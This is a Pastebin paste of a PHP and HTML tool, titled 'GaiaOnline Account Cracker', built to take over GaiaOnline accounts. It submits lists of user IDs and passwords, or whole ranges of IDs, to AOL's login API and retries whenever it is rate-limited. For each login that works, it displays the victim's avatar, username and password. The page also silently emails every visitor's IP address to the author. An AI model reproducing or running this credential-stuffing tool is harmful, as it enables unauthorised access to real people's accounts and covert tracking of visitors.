Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- set_time_limit (30);
- $loggedIn_f = false;
- function formatdata($array, $m) {
- if ($m == 102) {
- $html_str = ' <span class="avatar"><a href="http://www.gaiaonline.com/profiles/{[_URLUSERNAME_]}/{[_URLUSERID_]}"><img class="accountimg" alt="avatar" src="{[_AVATARURL_]}" /></a></span><br />
- <span class="userid"><a href="http://www.gaiaonline.com/profiles/{[_URLUSERNAME_]}/{[_URLUSERID_]}">{[_USERNAME_]}</a></span><br />
- <span class="password">{[_PASSWORD_]}</span>';
- $temp_str = str_replace('{[_AVATARURL_]}', $array[14], $html_str);
- $temp_str = str_replace('{[_URLUSERNAME_]}', urlencode($array[3]), $temp_str);
- $temp_str = str_replace('{[_URLUSERID_]}', urlencode($array[2]), $temp_str);
- $temp_str = str_replace('{[_USERNAME_]}', htmlspecialchars($array[3]), $temp_str);
- $temp_str = str_replace('{[_PASSWORD_]}', htmlspecialchars($_GET['p']), $temp_str);
- return $temp_str;
- } elseif ($m == 108) {
- return formatdata(explode("\x01", http_request(0, 0, "http://www.gaiaonline.com/chat/gsi/?m=107%01".$array[2])), 102);
- } else {
- return 0;
- }
- }
- function http_request($data, $cookies, $url, $https = false, $headers = false, $curlinfo = false) {
- $ch = curl_init($url);
- curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)');
- if ($cookies) curl_setopt($ch, CURLOPT_COOKIE, $cookies);
- if ($data) curl_setopt($ch, CURLOPT_POST, true);
- if ($data) curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
- if ($https) curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- if ($headers) curl_setopt($ch, CURLOPT_HEADER, true);
- curl_setopt($ch, CURLINFO_HEADER_OUT, true);
- $temp = curl_exec($ch);
- $tempz = curl_getinfo($ch);
- preg_match_all('/^Set-Cookie: (.*?);/mi', $temp, $m);
- curl_close($ch);
- if (!empty($m[1])) {
- foreach ($m[1] as $m) {
- $z = explode("=", $m);
- setcookie($z[0], $z[1], 0, "/", $_SERVER['SERVER_NAME'], false, true);
- }
- }
- if ($curlinfo) return $tempz; else return $temp;
- }
- /*if (isset($_COOKIE['admin'])) {
- if ($_COOKIE['admin'] != md5(md5("accessgranted").md5("letMeIn").date("F d, o"))) {
- $loggedIn_f = false;
- }
- }*/
- if (isset($_GET['u']) || isset($_GET['p'])) {
- if (!empty($_GET['u']) && !empty($_GET['p'])) {
- $postdata = "language=en-us&f=xml&pwd=".urlencode($_GET['p'])."&devId=ao1YRSKjsMZCuqyh&tokenType=longterm&s=";
- $postdata .= urlencode($_GET['u'])."@gaiaonline.com&clientName=gromit&cacheflag=3&clientVersion=v0.1";
- do {
- $response_str = http_request($postdata, 0, "https://api.screenname.aol.com/auth/clientLogin", 1);
- } while (stristr($response_str, "<title>420 unused</title>"));
- if (stristr($response_str, "<statusCode>200</statusCode>")) {
- //echo $response_str;
- echo formatdata(explode("\x01", http_request(0, 0, "http://gaiaonline.com/chat/gsi/?m=102%01".urlencode($_GET['u']))), 102);
- } else {
- echo "Invalid login";
- //echo $response_str;
- //echo formatdata(explode("\x01", http_request(0, 0, "http://gaiaonline.com/chat/gsi/?m=102%01".$_GET['u'])), 102);
- }
- }
- die;
- } else {
- mail("angel@wonoes.com", "Web Hit {".date("M j, g:i A")."}", $_SERVER['REMOTE_ADDR'], "From: cracker@wonoes.com\n");
- ?><html>
- <head>
- <title>GaiaOnline Account Cracker - Drahaus Industries</title>
- <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
- <meta http-equiv="cache-control" content="no-cache" />
- <link type="text/css" href="css/custom-theme/jquery-ui-1.8.11.custom.css" rel="stylesheet" />
- <link rel="stylesheet" href="./assets/css/formalize.css" />
- <script src="./assets/js/jquery.formalize.js"></script>
- <script type="text/javascript" src="./js/cfunctions.js"></script>
- <script type="text/javascript" src="http://code.jquery.com/jquery-1.5.2.min.js"></script>
- <script type="text/javascript" src="https://github.com/kvz/phpjs/raw/master/functions/strings/explode.js"></script>
- <script type="text/javascript" src="https://github.com/kvz/phpjs/raw/master/functions/strings/stristr.js"></script>
- <script type="text/javascript" src="./js/jquery-ui-1.8.11.custom.min.js"></script>
- <script type="text/javascript">
- $(function(){
- $('#dialog').dialog({
- autoOpen: true,
- width: 600,
- buttons: {
- "UID List": function() {
- $(this).dialog("close");
- UID_f = false;
- $('#form1').removeClass("invis");
- },
- "UID Span": function() {
- $(this).dialog("close");
- UID_f = true;
- $('#form2').removeClass("invis");
- }
- }
- });
- $('#options').dialog({
- autoOpen: false,
- width: 600,
- buttons: {
- "Load Presets": function() {
- loadPresets();
- },
- "Clear Input": function() {
- clearInput();
- },
- "Clear Cracked": function() {
- clearAccounts();
- },
- "Close": function() {
- $(this).dialog("close");
- }
- }
- });
- });
- </script>
- <style type="text/css">
- <!--
- body{margin: 0 auto; padding:0; background-color:#fefefe; font-family: "Segoe UI"; font-size:12px;}
- p{padding:0; margin:0;}
- span{margin-bottom: 20px;}
- img {border:none;}
- #textarea1, #textarea2{text-align:center; width:200px; height:250px;}
- #textarea3{text-align:center; width:303px; height:250px;}
- a,a:visited{color:#00679b; text-decoration:none;}
- a:hover{color:#00679b; text-decoration:underline;}
- input[type="text"]{width:150px;}
- #wrapper{margin: 0 auto; padding:0; text-align:center; width:960px;}
- #accounts{width:890px; text-align:center;}
- #cracked div{float:left;}
- #tried div{float:left; display:none;}
- .invis{display:none;}
- .password{color:#00679b}
- .accountdiv{border:1px solid #000; width: 125px; height:190px; text-align:center; margin:0 auto; padding:0;}
- .accountimg{height:150px; width:120px; margin:0 auto;}
- -->
- </style>
- </head>
- <body>
- <div id="wrapper">
- <div id="dialog" title="Angel's GaiaOnline "Cracker"">
- <span>Do you want to use a UID list or a span of UIDs?</span><br /><br />
- <span>With a span of UIDs, you choose a minimum and a maximum. The program tries all accounts starting at the minumum and stopping at the max. e.g. 3-9000.</span><br />
- <span>We can't support usernames because they aren't reliable in this method.</span><br />
- <p style="text-align:right;">
- <span ><em>-Angel of Drahaus Industries (AKA Personoid)</em></span>
- </p>
- </div>
- <div id="options">Choose one of the following options.</div>
- <div id="form1" class="invis">
- <p>
- <span>Enter User IDs; 1 per line.</span>
- <span> Enter passwords; 1 per line.</span><br />
- <textarea id="textarea1"></textarea>
- <textarea id="textarea2"></textarea><br />
- <input type="submit" id="ctoggle" onclick="startCracking();" value="Start"/>
- <input type="submit" onclick="$('#options').dialog('open');" value="Options"/>
- </p>
- </div>
- <div id="form2" class="invis">
- <p>
- <input type="text" id="input1" onkeypress="return noNumbers(event);" />
- <input type="text" id="input2" onkeypress="return noNumbers(event);" /><br />
- <textarea id="textarea3"></textarea><br />
- <input type="submit" id="ctoggle2" onclick="startCracking();" value="Start"/>
- <input type="submit" onclick="$('#options').dialog('open');" value="Options"/>
- </p>
- </div>
- <div id="accounts">
- <div id="cracked"></div>
- </div>
- </div>
- </body>
- </html>
- <?php
- }
- ?>
Add Comment
Please, Sign In to add comment